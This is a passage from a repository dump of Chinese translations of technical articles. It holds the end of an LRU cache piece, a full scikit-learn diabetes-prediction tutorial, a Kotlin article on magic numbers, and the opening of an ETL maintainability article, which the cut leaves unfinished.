结构可以存储指向前一个键的指针，而不是相关键的指针，从而节省内存。\n\n我在这里就不解释了，但是如果你想要了解要点可以去这里 [stackoverflow answer](https://stackoverflow.com/questions/49621983/lru-cache-with-a-singly-linked-list#answer-49622080)。\n\n请注意，在 JavaScript 中，如果您想保持性能（显然是在计算方面，而不是内存方面），这通常不是一个好主意，因为您将需要更多的 hashmap 查找来更新指针，而且它们消耗非常大。\n\n### 关于任意删除\n\n注意，这里提出的 LRU 缓存实现将很难处理任意的清除，即让用户删除键。\n\n为什么？因为到目前为止，由于在当要清除一个 LRU 的键来腾出空间插入新的键时，我们才交换键值对，所以我们不需要找到内存中“可用”插槽的方法。如果用户可以随意删除键，那么这些插槽就会随机出现在输入数组中，我们需要一种方法来跟踪它们，以便“重新分配”它们。\n\n可以通过使用一个额外的数组作为一个空闲指针堆栈来实现，但这显然会消耗内存和性能。\n\n### 一个完全动态的自定义指针系统\n\n这里我主要讲的是实现固定容量指针系统的类型化数组。但如果你更有野心，你可以很好地想象设计一个动态容量指针系统。\n\n为此，可以使用动态类型数组，如 mnemonist 的 [Vector](https://yomguithereal.github.io/mnemonist/vector.html)。在处理数字时，它们有时比普通的 JavaScript 数组更有效，并且可以让您实现所需的功能。\n\n但是，我不确定在实现其他数据结构时，使用自定义动态指针系统是否会带来任何性能改进。\n\n### 相关链接\n\n* 你会发现 [mnemonist](https://yomguithereal.github.io/mnemonist/) 非常有用。它包含的很多 JavaScript 高效和内聚的数据结构的实现。\n* 我做了一个关于 2019 年在 FOSDEM 用 JavaScript 实现数据结构的演讲 ([slides](https://yomguithereal.github.io/mnemonist/presentations/fosdem2019))。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/machine-learning-for-diabetes-with-python.md",
    "content": "> * 原文地址：[PROGRAMMING Machine Learning for Diabetes with Python](https://datascienceplus.com/machine-learning-for-diabetes-with-python/)\n> * 原文作者：[Susan Li](https://datascienceplus.com/author/susan-li/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/machine-learning-for-diabetes-with-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/machine-learning-for-diabetes-with-python.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[luochen1992](https://github.com/luochen1992)，[zhmhhu](https://github.com/zhmhhu)\n\n# 用 Python 编程进行糖尿病相关的机器学习\n\n根据 [Centers for Disease Control and Prevention](https://www.cdc.gov/)，现如今美国大约七分之一的成年人都患有糖尿病。而到了 2050 年，这个比率将会激增到三分之一之多。考虑到这一点，我们今天将要完成的就是：学习如何利用机器学习来帮助我们预测糖尿病。现在开始吧！\n\n## 数据\n\n糖尿病的数据集来自于 [UCI Machine Learning Repository](http://archive.ics.uci.edu/ml/index.php)，[这里](https://github.com/susanli2016/Machine-Learning-with-Python/blob/master/diabetes.csv) 可以下载。\n\n```\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n%matplotlib inline\ndiabetes = pd.read_csv('diabetes.csv')\nprint(diabetes.columns)\n```\n\n```\nIndex([‘Pregnancies’, ‘Glucose’, ‘BloodPressure’, ‘SkinThickness’, ‘Insulin’, ‘BMI’, ‘DiabetesPedigreeFunction’, ‘Age’, ‘Outcome’], dtype=’object’)\n```\n\n```\ndiabetes.head()\n```\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_1.png)\n\n糖尿病数据集包含 768 个数据点，每个数据点包含 9 个特征：\n\n```\nprint(\"dimension of diabetes data: {}\".format(diabetes.shape))\n\n```\n\n```\ndimension of diabetes data: (768, 9)\n```\n\n“输出”就是我们将要预测的特征，0 表示非糖尿病，1 表示糖尿病。在这 768 个数据点中，500 个被标记为 0，268 个被标记为 1：\n\n```\nprint(diabetes.groupby('Outcome').size())\n```\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_2.png)\n\n```\nimport seaborn as sns\nsns.countplot(diabetes['Outcome'],label=\"Count\")\n```\n\n得出下图：\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_3.png)\n\n```\ndiabetes.info()\n```\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_4.png)\n\n## k 近邻\n\nk 近邻算法可以说是最简单的机器学习算法。它建立仅包含训练数据集的模型。为了对一个新的数据点作出预测，算法将在训练数据集中找到最近的数据点 - 它的“最近邻点”。\n\n首先，我们需要考察是否可以确认模型的复杂度和精度之间的联系：\n\n```\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(diabetes.loc[:, diabetes.columns != 'Outcome'], diabetes['Outcome'], stratify=diabetes['Outcome'], random_state=66)\nfrom sklearn.neighbors import KNeighborsClassifier\ntraining_accuracy = []\ntest_accuracy = []\n# 从 1 到 10 试验参数 n_neighbors\nneighbors_settings = range(1, 11)\nfor n_neighbors in neighbors_settings:\n    # 建立模型\n    knn = KNeighborsClassifier(n_neighbors=n_neighbors)\n    knn.fit(X_train, y_train)\n    # 记录训练集精度\n    training_accuracy.append(knn.score(X_train, y_train))\n    # 记录测试集精度\n    test_accuracy.append(knn.score(X_test, y_test))\nplt.plot(neighbors_settings, training_accuracy, label=\"training accuracy\")\nplt.plot(neighbors_settings, test_accuracy, label=\"test accuracy\")\nplt.ylabel(\"Accuracy\")\nplt.xlabel(\"n_neighbors\")\nplt.legend()\nplt.savefig('knn_compare_model')\n```\n\n得出下图：\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_5.png)\n\n如上图所示，y 轴表示的训练和测试集精度和 x 轴表示的 n 近邻数呈反比。想象一下，如果我们只选择一个近邻，在训练集的预测是很完美的。但是当加入了更多的近邻的时候，训练精度将会下降，这表示仅选用一个近邻所得到的模型太过复杂。最佳实践是选择 9 个左右的近邻。\n\n参考上图我们应该选择 n_neighbors=9。那么这里就是：\n\n```\nknn = KNeighborsClassifier(n_neighbors=9)\nknn.fit(X_train, y_train)\nprint('Accuracy of K-NN classifier on training set: {:.2f}'.format(knn.score(X_train, y_train)))\nprint('Accuracy of K-NN classifier on test set: {:.2f}'.format(knn.score(X_test, y_test)))\n```\n\n```\nAccuracy of K-NN classifier on training set: 0.79\nAccuracy of K-NN classifier on test set: 0.78\n```\n\n## 逻辑回归\n\n逻辑回归是最常用的分类算法之一。\n\n```\nfrom sklearn.linear_model import LogisticRegression\nlogreg = LogisticRegression().fit(X_train, y_train)\nprint(\"Training set score: {:.3f}\".format(logreg.score(X_train, y_train)))\nprint(\"Test set score: {:.3f}\".format(logreg.score(X_test, y_test)))\n```\n\n```\nTraining set accuracy: 0.781\nTest set accuracy: 0.771\n```\n\n默认值 C=1 在训练集的精度是 78%，在测试集的精度是 77%。\n\n```\nlogreg001 = LogisticRegression(C=0.01).fit(X_train, y_train)\nprint(\"Training set accuracy: {:.3f}\".format(logreg001.score(X_train, y_train)))\nprint(\"Test set accuracy: {:.3f}\".format(logreg001.score(X_test, y_test)))\n```\n\n```\nTraining set accuracy: 0.700\nTest set accuracy: 0.703\n```\n\n使用 C=0.01 则导致在训练集和测试集的精度都有所下降。\n\n```\nlogreg100 = LogisticRegression(C=100).fit(X_train, y_train)\nprint(\"Training set accuracy: {:.3f}\".format(logreg100.score(X_train, y_train)))\nprint(\"Test set accuracy: {:.3f}\".format(logreg100.score(X_test, y_test)))\n```\n\n```\nTraining set accuracy: 0.785\nTest set accuracy: 0.766\n```\n\n使用 C=100 导致在训练集上的精度略有上升但是在测试集的精度下降，我们可以确定低正则和更复杂的模型也许并不能比默认设置表现更好。\n\n因此我们应该采用默认值 C=1。\n\n我们来将参数可视化，这些参数是通过学习对三个不同正则化参数 C 的数据集建立的模型所得到的。\n\n正则化比较强（C=0.001）的集合得到的参数越来越靠近零。更仔细的看图，我们也能发现，对于 C=100，C=1 和 C=0.001，特征 “DiabetesPedigreeFunction” 系数都是正值。这意味着，不管我们看的是哪个模型，高 “DiabetesPedigreeFunction” 特征和糖尿病样本是相关联的。\n\n```\ndiabetes_features = [x for i,x in enumerate(diabetes.columns) if i!=8]\nplt.figure(figsize=(8,6))\nplt.plot(logreg.coef_.T, 'o', label=\"C=1\")\nplt.plot(logreg100.coef_.T, '^', label=\"C=100\")\nplt.plot(logreg001.coef_.T, 'v', label=\"C=0.001\")\nplt.xticks(range(diabetes.shape[1]), diabetes_features, rotation=90)\nplt.hlines(0, 0, diabetes.shape[1])\nplt.ylim(-5, 5)\nplt.xlabel(\"Feature\")\nplt.ylabel(\"Coefficient magnitude\")\nplt.legend()\nplt.savefig('log_coef')\n```\n\n得出下图：\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_6.png)\n\n## 决策树\n\n```\nfrom sklearn.tree import DecisionTreeClassifier\ntree = DecisionTreeClassifier(random_state=0)\ntree.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(tree.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(tree.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 1.000\nAccuracy on test set: 0.714\n```\n\n在训练集的精度是 100%，但是测试集的精度就差了很多。这意味着树过拟合了，所以对新数据的泛化能力很弱。因此，我们需要对树进行剪枝。\n\n我们设置最大深度 max_depth=3，限制了树的深度能降低过拟合。这将会导致训练集上精度的下降，但是在测试集的结果将会改善。\n\n```\ntree = DecisionTreeClassifier(max_depth=3, random_state=0)\ntree.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(tree.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(tree.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 0.773\nAccuracy on test set: 0.740\n```\n\n## 决策树的特征权重\n\n特征权重决定了每个特征对于一棵树最后决策的重要性。对每个特征它都是一个 0 到 1 之间的数，0 表示着“完全没用”而 1 表示“完美预测结果”。特征权重的总和一定是 1。\n\n```\nprint(\"Feature importances:\\n{}\".format(tree.feature_importances_))\n```\n\n```\nFeature importances: [ 0.04554275 0.6830362 0\\. 0\\. 0\\. 0.27142106 0\\. 0\\. ]\n```\n\n然后我们将特征权重可视化：\n\n```\ndef plot_feature_importances_diabetes(model):\n    plt.figure(figsize=(8,6))\n    n_features = 8\n    plt.barh(range(n_features), model.feature_importances_, align='center')\n    plt.yticks(np.arange(n_features), diabetes_features)\n    plt.xlabel(\"Feature importance\")\n    plt.ylabel(\"Feature\")\n    plt.ylim(-1, n_features)\nplot_feature_importances_diabetes(tree)\nplt.savefig('feature_importance')\n```\n\n得出下图：\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_7.png)\n\n特征 “Glucose”（葡萄糖）是目前位置权重最大的特征。\n\n## 随机森林\n\n让我们在糖尿病数据集上应用一个包含 100 棵树的随机森林：\n\n```\nfrom sklearn.ensemble import RandomForestClassifier\nrf = RandomForestClassifier(n_estimators=100, random_state=0)\nrf.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(rf.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(rf.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 1.000\nAccuracy on test set: 0.786\n```\n\n没做任何调参的随机森林给出的精度为 78.6%，比逻辑回归或者单独的决策树都要好。但是，我们还是可以调整 max_features 的设置，看看结果能否更好。\n\n```\nrf1 = RandomForestClassifier(max_depth=3, n_estimators=100, random_state=0)\nrf1.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(rf1.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(rf1.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 0.800\nAccuracy on test set: 0.755\n```\n\n并没有，这意味着随机森林默认的参数就已经运作的很好了。\n\n## 随机森林中的特征权重\n\n```\nplot_feature_importances_diabetes(rf)\n```\n\n得出下图：\n\n![]=(https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_8.png)\n\n和单一决策树相似，随机森林的 “Glucose” 特征权重也比较高，但是还选出了 “BMI” 作为所有特征中第二高的权重。生成随机森林时的随机性要求算法必须考虑众多可能的解答，结果就是随机森林比单一决策树能够更完整地捕捉到数据的特征。\n\n## 梯度提升\n\n```\nfrom sklearn.ensemble import GradientBoostingClassifier\ngb = GradientBoostingClassifier(random_state=0)\ngb.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(gb.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(gb.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 0.917\nAccuracy on test set: 0.792\n```\n\n模型有可能会过拟合。为了减弱过拟合，我们可以应用强度更大的剪枝操作来限制最大深度或者降低学习率：\n\n```\ngb1 = GradientBoostingClassifier(random_state=0, max_depth=1)\ngb1.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(gb1.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(gb1.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 0.804\nAccuracy on test set: 0.781\n```\n\n```\ngb2 = GradientBoostingClassifier(random_state=0, learning_rate=0.01)\ngb2.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(gb2.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(gb2.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 0.802\nAccuracy on test set: 0.776\n```\n\n降低了模型的复杂度的这两个方法也都如期降低了训练集的精度。但是在这个例子中，这几个方法都没有提高测试集上的泛化能力。\n\n我们可以将特征权重可视化来更深入的研究我们的模型，尽管我们对它并不是很满意：\n\n```\nplot_feature_importances_diabetes(gb1)\n```\n\n得出下图：\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_9.png)\n\n我们可以看出，梯度提升的树的特征权重和随机森林的特征权重在某种程度上有些相似，在这个实例中，所有的特征都被赋予了权重。\n\n## 支持向量机\n\n```\nfrom sklearn.svm import SVC\nsvc = SVC()\nsvc.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.2f}\".format(svc.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.2f}\".format(svc.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 1.00\nAccuracy on test set: 0.65\n```\n\n这个模型很明显过拟合了，训练集上结果完美但是测试集上仅有 65% 的精度。\n\nSVM（支持向量机）需要所有的特征做归一化处理。我们需要重新调整数据的比例，这样所有的特征都大致在同一个量纲：\n\n```\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\nX_train_scaled = scaler.fit_transform(X_train)\nX_test_scaled = scaler.fit_transform(X_test)\nsvc = SVC()\nsvc.fit(X_train_scaled, y_train)\nprint(\"Accuracy on training set: {:.2f}\".format(svc.score(X_train_scaled, y_train)))\nprint(\"Accuracy on test set: {:.2f}\".format(svc.score(X_test_scaled, y_test)))\n```\n\n```\nAccuracy on training set: 0.77\nAccuracy on test set: 0.77\n```\n\n数据归一化导致了巨大的不同！现在其实欠拟合了，训练集和测试集的表现相似但是距离 100% 的精度还有点远。此时，我们可以试着提高 C 或者 gamma 来生成一个更复杂的模型。\n\n```\nsvc = SVC(C=1000)\nsvc.fit(X_train_scaled, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(\n    svc.score(X_train_scaled, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(svc.score(X_test_scaled, y_test)))\n```\n\n```\nAccuracy on training set: 0.790\nAccuracy on test set: 0.797\n```\n\n这里，提高 C 优化了模型，使得测试集上的精度变成了 79.7%。\n\n## 深度学习\n\n```\nfrom sklearn.neural_network import MLPClassifier\nmlp = MLPClassifier(random_state=42)\nmlp.fit(X_train, y_train)\nprint(\"Accuracy on training set: {:.2f}\".format(mlp.score(X_train, y_train)))\nprint(\"Accuracy on test set: {:.2f}\".format(mlp.score(X_test, y_test)))\n```\n\n```\nAccuracy on training set: 0.71\nAccuracy on test set: 0.67\n```\n\n多层感知器（Multilayer perceptrons）的精度远不如其他模型的好，这可能是因为数据的量纲。深度学习算法同样希望所有输入特征归一化，并且最好均值为 0，方差为 1。我们必须重新调整数据，让它满足这些要求。\n\n```\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler()\nX_train_scaled = scaler.fit_transform(X_train)\nX_test_scaled = scaler.fit_transform(X_test)\nmlp = MLPClassifier(random_state=0)\nmlp.fit(X_train_scaled, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(\n    mlp.score(X_train_scaled, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(mlp.score(X_test_scaled, y_test)))\n```\n\n```\nAccuracy on training set: 0.823\nAccuracy on test set: 0.802\n```\n\n让我们提高迭代次数：\n\n```\nmlp = MLPClassifier(max_iter=1000, random_state=0)\nmlp.fit(X_train_scaled, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(\n    mlp.score(X_train_scaled, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(mlp.score(X_test_scaled, y_test)))\n```\n\n```\nAccuracy on training set: 0.877\nAccuracy on test set: 0.755\n```\n\n提高迭代次数仅仅优化了模型在训练集的表现，测试集的表现并没有改变。\n\n让我们提高 alpha 参数，并增强权重正则性：\n\n```\nmlp = MLPClassifier(max_iter=1000, alpha=1, random_state=0)\nmlp.fit(X_train_scaled, y_train)\nprint(\"Accuracy on training set: {:.3f}\".format(\n    mlp.score(X_train_scaled, y_train)))\nprint(\"Accuracy on test set: {:.3f}\".format(mlp.score(X_test_scaled, y_test)))\n```\n\n```\nAccuracy on training set: 0.795\nAccuracy on test set: 0.792\n```\n\n结果很好，但是我们没能够进一步提高测试集精度。\n\n因此，目前为止最好的模型就是归一化后默认的深度学习模型。\n\n最后，我们绘制学习糖尿病数据集的神经网络的第一层权重的热图。\n\n```\nplt.figure(figsize=(20, 5))\nplt.imshow(mlp.coefs_[0], interpolation='none', cmap='viridis')\nplt.yticks(range(8), diabetes_features)\nplt.xlabel(\"Columns in weight matrix\")\nplt.ylabel(\"Input feature\")\nplt.colorbar()\n```\n\n得出下图：\n\n![](https://datascienceplus.com/wp-content/uploads/2018/03/diabetes_10.png)\n\n从热图上很难很快就看出，相比于其他特征哪些特征的权重比较低。\n\n## 总结\n\n为了分类和回归，我们试验了各种各样的机器学习模型，（知道了）它们的优点和缺点都是什么，以及如何控制每个模型的复杂度。我们发现对于很多算法，设置合适的参数对于模型的上佳表现至关重要。\n\n我们应该知道了如何应用、调参，并分析上文中我们试验过的模型。现在轮到你了！试着在 [scikit-learn](https://datascienceplus.com/multi-class-text-classification-with-scikit-learn/) 的内置数据集或者其他你选择的任意数据集上应用这些算法中的任一一个。快乐的进行机器学习吧！\n\n这篇博客上的源码可以在这里找到。关于上文内容，我很乐意收到你们的反馈和问题。\n\n参考链接：[Introduction to Machine Learning with Python](http://shop.oreilly.com/product/0636920030515.do)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/magic-numbers-are-not-that-magic.md",
    "content": "> * 原文地址：[Magic Numbers Are Not That Magic](https://medium.com/better-programming/magic-numbers-are-not-that-magic-132297d435f5)\n> * 原文作者：[Steven Popovich](https://medium.com/@steven.popovich)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/magic-numbers-are-not-that-magic.md](https://github.com/xitu/gold-miner/blob/master/TODO1/magic-numbers-are-not-that-magic.md)\n> * 译者：[霜羽 Hoarfroster](https://github.com/PassionPenguin)\n> * 校对者：[fltenwall](https://github.com/fltenwall)、[HumanBeingXenon](https://github.com/HumanBeingXenon)\n\n# 幻数并没有我们想象中的那么奇幻\n\n> 一个比硬编码数字的更好的解决方案\n\n![图自 [Maail](https://unsplash.com/@maail?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 源 [Unsplash](https://unsplash.com/s/photos/feathers?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/9562/1*fzMDTQAsZ8D9O3YXJwLW5A.jpeg)\n\n我真的不喜欢幻数这个词 —— 我看到太多人都理解错了。我见证也参与过几次，看见有人一见着代码中或者注释中有数字就评论：“哦，这是个幻数呢，请你务必给它取个名并放在代码头部”的代码审查。\n\n（我也很不喜欢感到需要把所有的变量都放在文件的头部部分中，但这该是另一天的话题。）\n\n开发者们，你们是可以在代码中使用数字。只是要小心使用的方式。\n\n## 什么是幻数？\n\n你确实可以在 Google 上搜索它，找到一堆无趣的定义。但实际上，幻数其实就是代码中难以理解的数字。\n\n```kotlin\nfun generate() {\n    for (i in 0 until 52) {\n        deck[i] = uniqueCard()\n    }\n}\n```\n\n这个 52 从哪来的？\n\n好吧，事实证明这是生成纸牌组的代码，而 52 恰好是纸牌组中的纸牌总数。不妨让我们给数字起个名字。\n\n```kotlin\nconst val numberOfCardsInADeck = 52\n\nfun generate() {\n    for (i in 0 until numberOfCardsInADeck) {\n        deck[i] = uniqueCard()\n    }\n}\n```\n\n这是更易读、更易维护和更好的代码。很好，你已经掌握了怎么去写一段清晰明了的代码的本领了？\n\n嘿嘿，不，这只是冰山一角。这个示例（这是一个非常常见的示例）之中开发者可能可以很容易地从其余的代码中明白 52 究竟是什么 —— 这个幻数其实也没有那么离谱。\n\n那什么时候幻数能够给你当头一棒？当你完全没有念头这个数字到底怎么来的时候。比方说下面这段用于对搜索算法进行调整的代码：\n\n```kotlin\nfun search(query: String) {\n    find(query, 2.4f, 10.234f, 999, Int.MAX_VALUE, false)\n}\n```\n\n噢这奇怪的数字到底意味着什么？看来想要弄清楚这些数字的用途和作用并不容易。\n\n## 为什么使用幻数是个问题？\n\n假设你的应用规模不断扩大，需要搜索的内容还很多，并且突然之间，你的搜索结果不能完全满足你的需求了。\n\n我们现在有一个 bug：\"当我搜索\"麦片\"时，即使我知道谷物一定是它的成分，谷物也不会出现在结果中。\"\n\n在这个搜索算法四年前那最后一次被精调以后，我的朋友你啊，你现在需要更改这些值以解决此错误。你该先去修改些什么呢？\n\n这就是幻数的问题。这些数字最好是被归类在一处，用一些比较长的、很形象的名称去给它们命名，以及写清楚更改它们会如何影响结果的代码间文档。\n\n```kotlin\nconst val searchWeight = 2.4f // 查询结果的具体程度，增加此数字以获得更多模糊的结果\nconst val searchSpread = 10.234f // 结果的连续程度。在数据库中连续选择更多单词\nconst val searchPageSize = 999 // 每个搜索页面所需的结果数\nconst val searchMaxResults = Int.MAX_VALUE // 我们希望的能从搜索中获得所有可能的结果\nconst val shouldSearchIndex = false // 我们不想搜索索引\n\nfun search(query: String) {\n    find(query, searchWeight, searchSpread, searchPageSize, searchMaxResults, shouldSearchIndex)\n}\n\n// 调用我们的加权搜索算法。在 foo.bar.com 上阅读有关此算法的文档\nfun find(query: String, weight: Float, spread: Float, pageSize: Int, maxResults: Int, index: Boolean) {}\n```\n\n着手于这样的代码应该会让你感到舒服多了吧？你甚至可能对如何进行更改有所了解。优化搜索可能确实会很困难，但是接手的人凭着这份文档，还是能更轻松地解决上面提到的那个问题。\n\n## 什么不能称之为幻数？\n\n实际上，难以推理的数字不会像容易推理的数字那样频繁出现。例如这个数据：\n\n```kotlin\nview.height = 42\n```\n\n这可不是一个幻数，我再强调一遍：这不是一个幻数！\n\n我知道。我给一些 Java 代码纯粹主义者和洁癖一个暴击。\n\n但是这个数字并不难推论 —— 它的意义是完全独立的 —— 该视图的高度为 42！我们顶多解释到这个程度。像这样数据，即便我们给它取一个名称，又真的会带来什么价值吗？\n\n```kotlin\nconst val viewHeight = 42\n\nfun buildView() {\n    view.height = viewHeight\n}\n```\n\n这样做法只会导致冗杂代码的产生。这看似是一个很小的例子，但这种不必要地命名数字的想法却会迅速增加 UI 代码的大小，增加代码的行数。\n\n## 所以我们是否可以在代码中使用数字？\n\n这是当然的！世界上有很多不错的代码里面使用了数字。要做到不出现幻数，你只需要记住以下几点：\n\n* 确保你所使用的数字易于理解 —— 就算是小孩也能弄清楚它们从何而来\n* 如果你要更改数字，调整某些内容，或在纸上进行一些计算才能得到的硬编码数字，请务必进行解释。在代码中，在数字旁边，或至少在更改的提交中，应当提出并解释硬编码数字发生的变更。\n* 额外一招：请确保你使用硬编码数字是遵循 DRY 原则的（一个规则，一次实现）。\n\n相信我，使用注释解释或使用变量名解释数字是很有用的！\n\n祝你好运，感谢你的阅读！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/maintainable-etls.md",
    "content": "> * 原文地址：[Maintainable ETLs: Tips for Making Your Pipelines Easier to Support and Extend](https://multithreaded.stitchfix.com/blog/2019/05/21/maintainable-etls/)\n> * 原文作者：[CHRIS MORADI](https://multithreaded.stitchfix.com/blog/2019/05/21/maintainable-etls/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/maintainable-etls.md](https://github.com/xitu/gold-miner/blob/master/TODO1/maintainable-etls.md)\n> * 译者：[fireairforce](https://github.com/fireairforce)\n> * 校对者：[portandbridge](https://github.com/portandbridge)\n\n# 可维护的 ETL：使管道更容易支持和扩展的技巧\n\n![modularized code example](https://multithreaded.stitchfix.com/assets/posts/2019-05-21-maintainable-etls/maintainable-etls-code-animation.gif)\n\n任何数据科学项目的核心是...噔噔噔...数据！以可靠和可重复的方式准备数据是该过程的基本部分。如果你正在培训一个模型，计算分析，或者只是将来自多个源的数据组合到另一个系统中，那么你将需要构建一个数据处理或 ETL[1](#f1) 管道。\n\n我们 Stitch Fix 这里从事的是[全栈数据科学](https://multithreaded.stitchfix.com/blog/2019/03/11/FullStackDS-Generalists/)。这意味着我们以数据科学家的身份负责项目的构思、生产以至维护的整个过程。我们的[受好奇心驱使](https://multithreaded.stitchfix.com/blog/2019/01/18/fostering-innovation-in-data-science/)喜欢快速行动，即使我们的工作常常是相互联系的。我们所处理的问题具有挑战性，因此解决方案可能很复杂，但我们不想在不需要的地方引入复杂性。因为我们必须支持我们在生产中的工作，所以我们的小团队分担随叫随到的责任，并帮助支持彼此的管道。这让我们可以做一些重要的事情，比如度假。今年夏天，我和妻子要去意大利度蜜月，这是我们多年前的打算。当我在那里的时候，我最不想考虑的是我的队友们是否很难使用或理解我写的管道。\n\n让我们也承认数据科学是一个动态的领域，所以同事们会转向公司之外的新计划、团队或机会。虽然一个数据管道可能由一个数据科学家构建，但在其生命周期中，它通常由多个数据科学家支持和修改。像许多数据科学团体一样，我们来自不同的教育背景，不幸的是，我们并非都是“独角兽” —— 软件工程、统计和机器学习方面的专家。\n\n虽然我们的算法小组确实有一个庞大的、令人惊叹的数据平台工程师团队，[它们不会也不想写 ETL](https://multithreaded.stitchfix.com/blog/2016/03/16/engineers-shouldnt-write-etl/) 来支持数据科学家的工作。相反，他们将精力集中在构建易于使用、健壮可靠的工具上，这些工具使数据科学家能够快速构建 ETL、培训和评分模型，以及创建性能良好的 API，而无需担心基础设施。\n\n多年来，我发现了一些有助于使我的 ETL 